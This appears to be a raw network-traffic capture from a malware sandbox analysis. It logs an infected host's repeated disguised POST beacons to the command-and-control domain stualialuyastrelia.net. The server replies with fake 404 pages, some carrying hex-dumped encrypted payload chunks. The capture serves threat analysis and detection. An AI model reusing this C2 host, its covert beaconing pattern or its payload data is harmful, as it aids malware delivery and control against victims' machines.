a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 95 73 36 77 9b 98 1d 45 8b 22 39 0d dc b0 7a f9 a9 83 f2 fe 27 ab b5 01 3b 7a 45 c5 1d 43 b0 d6 74 1f 61 20 09 ee d2 dd f3 d0 34 02 53 d5 2c 99 21 4f 1c 6e 9d 72 0d 72 70 f1 e9 ae 2c 1b 34 fb 02 fb 3f 40 a8 9d 72 02 71 90 18 81 5f Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGjT05sq733hsE\|WD<P5Q"f=(jC\SMUdT[Up"XJ3Ob>!Z:V?#BSSQQ+l~ExU$$^R!a~#5~O4zN.%Qa?\|(HkJd/MF$l#l)l~qhJiOyTLW;r#u1yr+Lc1<'i3FHU=hI?U@Wd{9f(B@=fd0QpKk1:TUwo)2~[P&}WL\hMgM^b']tyPmCbzH(zv7 R:M?~Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=s6wE"9z';zECta 4S,!Onrrp,4?@rq_
Dec 2, 2023 18:01:43.052815914 CET	335	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://lqcxjeriotxmwo.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 261 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:43.299128056 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 2, 2023 18:01:43.380614996 CET	332	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxtpjmyluga.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 176 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:43.632440090 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:43 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 9d 8e e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 8b bf 6a c6 ca 05 14 fc f9 17 be e0 f6 c7 35 f3 73 07 03 d2 ff f9 da fb eb b2 b9 71 cd f7 31 33 d1 ac 7a 45 7c 1f 57 44 2d fd d0 3c 50 15 51 fe 08 c2 bb 7f 18 66 7d 28 2a a7 6a dd d6 bc db 43 15 5c 53 a6 cd f6 4d 55 60 91 54 5b fd 55 19 d0 ed a5 dc b1 17 26 58 4a 2b a6 2b 3e 17 21 4b da a3 06 83 3a 56 2f cb 00 23 be 52 15 d7 17 53 53 fa cb 1f 9e 0d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 42 6d 59 db 94 0d 13 13 bf fe e3 92 a2 c9 46 c5 03 a1 cb a1 61 7e de f5 69 01 50 17 e6 47 af 9a a5 44 c9 a0 c1 b9 dd 7a 0d 90 4e 19 e0 2c 95 a9 18 1a f5 96 be 25 51 61 9a d4 3e 7c 88 28 c8 48 6b a1 c0 4a 9a 03 fd ec 9e aa 7b ac 87 2f bd 61 0d c0 5d bf 46 34 fd f8 12 6c 33 6c 29 7c 0a 8d c7 fd e4 0e a4 eb 7e 71 eb 80 f5 1a 68 9b 4a d8 19 ae cc 4f 3b 79 82 ae bc b7 22 6c 55 76 8d d3 57 fb 28 b9 72 ce cc 23 b2 3f 0f 31 79 96 90 f7 df f5 ec e7 72 2b 4c 80 d0 12 f9 13 43 11 bb b6 81 43 4f 55 b7 69 b7 9f b5 08 c5 46 d9 a8 17 ac af 29 d0 55 3d e1 bb 68 92 0e ff 9d 7f 7f 55 40 57 64 7b 39 26 e7 ac 44 08 a4 62 60 57 bb e7 bb 88 e7 3d 66 f1 4a 68 b1 1d 32 12 51 8c 60 1c 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 0e a1 54 17 8b e7 d3 7a 1b a2 cb 29 32 08 e7 5b 1e b4 a7 1e 26 7f 11 ee c3 dc 5c a3 4c 1d 85 1f d4 5c 68 91 9c 29 06 f1 6c 5e ae c3 75 91 77 81 cb 14 74 fe 10 59 b9 b0 99 07 94 8a cd e4 7f 74 79 44 66 43 cc b9 8b 8b e1 62 7a d7 9c 88 c3 e0 4b a9 b4 5b 2f 18 78 47 a6 ae 46 1f d0 05 94 7a 8f 16 06 e3 cd 74 e7 37 00 94 e8 1c c9 20 f5 52 48 c4 3a 96 4d cb e7 17 5f dc e5 1e 4d a6 70 d4 03 eb ac 98 76 6e 0f ca 82 cf 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 5f 29 43 43 9c 55 03 62 18 3a 1d f8 40 aa ae 88 c1 c4 a1 33 25 7d da a9 c3 e8 c8 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 0e 93 81 19 13 88 b9 8c f5 18 97 52 b9 c1 ea 9e 13 e8 b8 4c 45 e1 f0 73 8d 43 d9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 42 03 81 96 7f d8 2e 27 9d df 3c 42 56 60 de 9e 73 0f b6 65 a2 25 1f 78 60 38 30 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 d0 e9 f3 32 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d da 49 b6 2b b8 9b 0a c2 ef 34 63 93 fd d0 55 a6 95 15 d1 a8 15 99 cb f0 c6 79 9a fa 12 5e 57 9c 9c f0 3e ba b6 e3 c0 87 a0 b0 53 a7 a0 50 74 aa ae e3 8b 3d ce 68 ff 20 bf 74 5b 02 f0 38 29 4f 03 a9 0b 3c 81 aa 99 bc 3f 95 b3 fb 84 Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShGj5sq13zE\|WD-<PQf}(jC\SMU`T[U&XJ++>!K:V/#RSSR+{~EBmYFa~iPGDzN,%Qa>\|(HkJ{/a]F4l3l)\|~qhJO;y"lUvW(r#?1yr+LCCOUiF)U=hU@Wd{9&Db`W=fJh2Q`Kk^Tz)2[&\L\h)l^uwtYtyDfCbzK[/xGFzt7 RH:M_Mpvn%.5_)CCUb:@3%}/#wRLEsCRW!}B.'<BV`se%x`80_xm^22B9GQ =TZ\Z_i9*nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=I+4cUy^W>SPt=h t[8)O<?
Dec 2, 2023 18:01:44.822652102 CET	333	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://hxsxddesskom.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 251 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:45.070710897 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:44 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 2, 2023 18:01:45.114200115 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://naacvoitxbvbafnj.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 133 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:45.362505913 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 02 00 b4 60 fb d4 0e 1a 40 10 16 30 80 b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 49 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 05 8f e2 e3 07 97 8a 06 9e 8f f1 83 0e 25 a6 79 5e 5c 95 03 0f 2e 0e 4b 69 e1 d9 a0 6a 7d ec 53 2e 3b 76 4b 12 73 36 18 28 a6 70 a3 d1 5f 36 6b 85 29 7c f2 c6 e6 70 95 06 7c 93 74 5d b9 53 68 47 8f 2a f5 9a 29 47 e2 83 b6 51 8b 2f e6 aa 47 f3 75 76 84 19 c3 dd a5 15 4b 9b 8d fe 9c 51 06 8a 85 70 44 46 84 cf 32 67 ad 14 33 1f 04 ff 4a 1b 87 12 89 13 c2 7e 08 50 d4 7e 5f 34 a8 b4 aa de 0c 98 34 7a b3 10 d0 a1 44 0e 22 0f 7e 12 2d 87 e7 5a a7 2a 5b f8 c6 5c 90 1b 3d dc 99 22 48 76 93 48 2d 4c d0 d0 4c 41 8d 88 77 e4 e0 cc 62 d3 b5 10 24 d8 bf 27 e9 47 bb 11 5c 8e 62 c4 0d 2f f7 b4 88 66 a2 8c ac a2 bf 50 64 ed 77 82 fa 21 ba 0c b2 03 a1 cb a1 61 7e de f5 39 fc 19 17 32 5e a9 9a 1b 0f a3 c5 c1 b9 dd 7a 0d 90 4e 19 00 2c 97 88 13 1b fc 84 be e5 51 61 9a 84 1e 7c 88 28 c8 48 9b b3 c0 4a 9a 13 fd ec 9e 7a 7b ac 87 2f bd 71 0d d0 5d bf 46 24 fd f8 17 6c 33 6c 29 7c 0a 8d c2 fd e4 0e a4 eb 7e 71 eb a0 d4 1a 68 8b 4a d8 19 ae cc 4f 39 79 83 2e 9c 97 12 4c 75 46 ad f3 57 3b 3a b9 72 fe cc 23 b2 75 0e 31 69 92 90 f7 3f 20 ec e7 16 2b 4c 80 80 c1 f9 13 c3 11 bb d6 af 81 1c 27 ac 6a b7 9f 33 c9 cc 46 d9 48 15 ac af eb d9 55 3d af ba 68 92 ce df 9d 5b 34 55 40 37 b4 7b 39 7a e7 ac 04 28 84 42 40 77 9b c7 9b 84 e7 3d 66 f1 8a 64 b1 1d 30 12 51 8c 70 17 4b 81 6b df 8e 82 01 e8 e4 1f 5e a1 90 4e a1 54 55 a5 5e b7 1b 33 c3 cb 29 32 28 e7 5b ce 54 ab 1e 26 7d 11 ee c3 ce 57 a3 4c 1d 85 1f d4 5c 68 91 b2 5d 63 89 58 5e ae 03 8b 5d 1f e4 a6 6d 10 9f 10 79 d9 b0 99 17 99 8a cd e4 7f 74 79 50 6d 43 cc b9 8b 8b c1 62 7a b7 b2 fa a7 81 5f c8 b4 bb ab 7c 17 28 d2 7e 46 1f d0 b1 aa 7a 8f 26 6b e3 cd d0 d9 37 00 80 e3 1c c9 20 f5 52 08 c4 3a d6 63 af 86 63 5e dc e5 7e b5 d3 71 d4 03 0b ac 98 76 1e 0e ca 82 2f 25 2e 9f 96 ce ec 35 98 c3 a7 0d a8 ca d4 1f 29 43 83 df 07 57 62 18 3a 1d f8 69 e9 b0 88 c1 a4 a3 33 25 2d c4 a9 c3 b8 ca 2f cb e2 09 e8 8b 23 1e ac 18 b8 77 b3 4e 93 81 d9 3d fa ca fe 96 18 97 52 c1 c2 ea 9e 13 58 98 4c 45 f1 f0 73 8d e3 f9 ed 07 b2 52 dc 1a 9e 8b 18 57 21 01 7d 02 03 81 d6 51 aa 4b 4b f2 bc 3c 42 90 3e de 9e 73 cf 96 65 a2 45 1f 78 60 88 10 5f d6 a6 b8 78 fe b1 8e 98 6d 18 5e 32 90 e9 f3 70 42 c2 39 16 12 47 0b e9 17 10 8d e3 51 20 b2 3d db 10 54 5a 17 1c 5c 5a 16 b3 19 5f 11 8f 69 f9 e4 39 2a 01 6e f1 fd 58 b3 dc 95 25 1c 90 53 72 5e 15 33 b5 01 82 e3 92 c2 01 6d 7e d3 85 bc 43 cf 76 62 93 45 e1 05 85 d4 9c 97 2e 60 10 3a 93 8b 94 e5 fe d6 ae 32 c8 6e d5 8d 4a ad fb 91 65 69 17 ee f3 af 84 ed 67 e1 a2 3a 84 aa 58 5d 1c 79 9b 37 67 d2 1f ad af ac d5 54 24 d1 e4 dd b2 3a 6a c0 8e ad 90 bb 9a 05 71 77 92 ae 0f 27 d1 9c 65 53 55 cd ab 48 63 36 cc 82 8e 82 a4 9e 9c bf cb b3 f2 fe 92 c6 5a 6b 76 62 8c c9 69 c7 32 a7 90 4e b0 d4 08 d9 4e 2f 18 4b 74 f8 4f b5 24 74 05 f6 6c 1d bf 9d 69 13 23 92 37 88 32 78 7e 66 0b 1b b9 fb 35 51 ed 00 e4 26 0d 72 d7 a2 65 3f 3f 1c f9 e1 f7 66 08 60 f4 ce 89 ca 3b d4 85 08 c7 18 47 64 00 2d ed 07 fc ae 1c 0b 30 63 3d 01 28 2b 77 33 c3 00 45 3d 79 24 0d 1e eb 67 f9 7d d8 ef fe cd f0 a8 01 3f 26 58 c5 07 1f ad d6 46 43 7c 20 4b b2 cf dd a9 8c 29 02 3d 89 31 99 a5 13 01 6e 01 2e 10 72 c8 ad f4 ae e4 47 29 fb d8 a7 22 40 42 c1 6f 02 89 cc 05 81 55 Data Ascii: 1f66`@0,xO}q4 IJ%9Wd8IkDJ8P>%y^\.Kij}S.;vKs6(p_6k)\|p\|t]ShG)GQ/GuvKQpDF2g3J~P~_44zD"~-Z[\="HvH-LLAwb$'G\b/fPdw!a~92^zN,Qa\|(HJz{/q]F$l3l)\|~qhJO9y.LuFW;:r#u1i? +L'j3FHU=h[4U@7{9z(B@w=fd0QpKk^NTU^3)2([T&}WL\h]cX^]mytyPmCbz_\|(~Fz&k7 R:cc^~qv/%.5)CWb:i3%-/#wN=RXLEsRW!}QKK<B>seEx`_xm^2pB9GQ =TZ\Z_i9*nX%Sr^3m~CvbE.`:2nJeig:X]y7gT$:jqw'eSUHc6Zkvbi2NN/KtO$tli#72x~f5Q&re??f`;Gd-0c=(+w3E=y$g}?&XFC\| K)=1n.rG)"@BoU
Dec 2, 2023 18:01:45.823780060 CET	336	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gmwpqrmwxdqkgxi.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 181 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:46.071995974 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:45 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 2, 2023 18:01:46.285868883 CET	333	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://llxkshlvtapx.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 293 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:46.534240007 CET	289	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:46 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 66 0d 0a 00 00 b5 55 08 b5 79 73 2f 7e 28 10 e8 c3 a7 f7 be 60 3a 1c 81 1e cb 46 d7 f8 14 a2 25 bf 29 46 16 36 e4 69 1e 2b 85 56 2d 0e 61 9f bd 8c ac 0d 0a 30 0d 0a 0d 0a Data Ascii: 2fUys/~(`:F%)F6i+V-a0
Dec 2, 2023 18:01:52.326256037 CET	337	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://elrrtjljhknucbdx.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 200 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:52.573664904 CET	653	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 61 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 36 20 28 44 65 62 69 61 6e 29 20 53 65 72 76 65 72 20 61 74 20 73 74 75 61 6c 69 61 6c 75 79 61 73 74 72 65 6c 69 61 2e 6e 65 74 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 19a<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.56 (Debian) Server at stualialuyastrelia.net Port 80</address></body></html>0
Dec 2, 2023 18:01:52.668311119 CET	333	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://dxvnthyidxsk.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 244 Host: stualialuyastrelia.net
Dec 2, 2023 18:01:52.916435957 CET	1340	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 Date: Sat, 02 Dec 2023 17:01:52 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 66 36 36 0d 0a 00 00 b4 60 3b d4 0f 1a 40 10 16 30 8f b7 2c 78 84 4f ad 7d f5 71 b1 34 b2 96 20 c3 53 91 4a 25 39 57 90 06 64 04 ec 38 49 6b 19 b1 cd e4 dc b5 44 a4 06 4a 38 50 87 d2 d9 c3 3e 08 a2 13 1d 8f e2 e3 b3 98 30 06 81 8f f1 83 0e 25 a6 79 5e 5c 51 fb 32 35 47 48 3b fe cc bd 6c 62 ad 5d 6f 38 6d 57 12 73 36 18 28 a6 70 a3 d1 43 36 2f a4 14 0f 85 c2 e7 27 c2 25 7b ba 49 79 b9 53 68 47 8f 2a f5 db fa 6a c6 86 04 12 fc 2a 54 e9 30 f6 c7 35 f3 73 07 03 d2 1f f9 d8 fa e0 b3 89 71 cd 37 33 33 d1 68 73 45 7c 1f 57 44 8d e8 be 3c 50 35 51 fe 08 22 b9 7f 18 66 3d 28 2a 87 6a dd d6 be db 43 11 5c 53 a6 cd f6 4d 55 64 91 54 5b fd 55 19 d0 ed 05 70 b1 17 22 58 4a 33 4f 62 3e 15 21 0b 5a a3 06 93 3a 56 3f cb 00 23 be 42 15 d7 07 53 53 fa cb 1f 9e 1d 09 52 2b e5 8d 83 7b 7e 45 f7 ff 28 c8 55 db 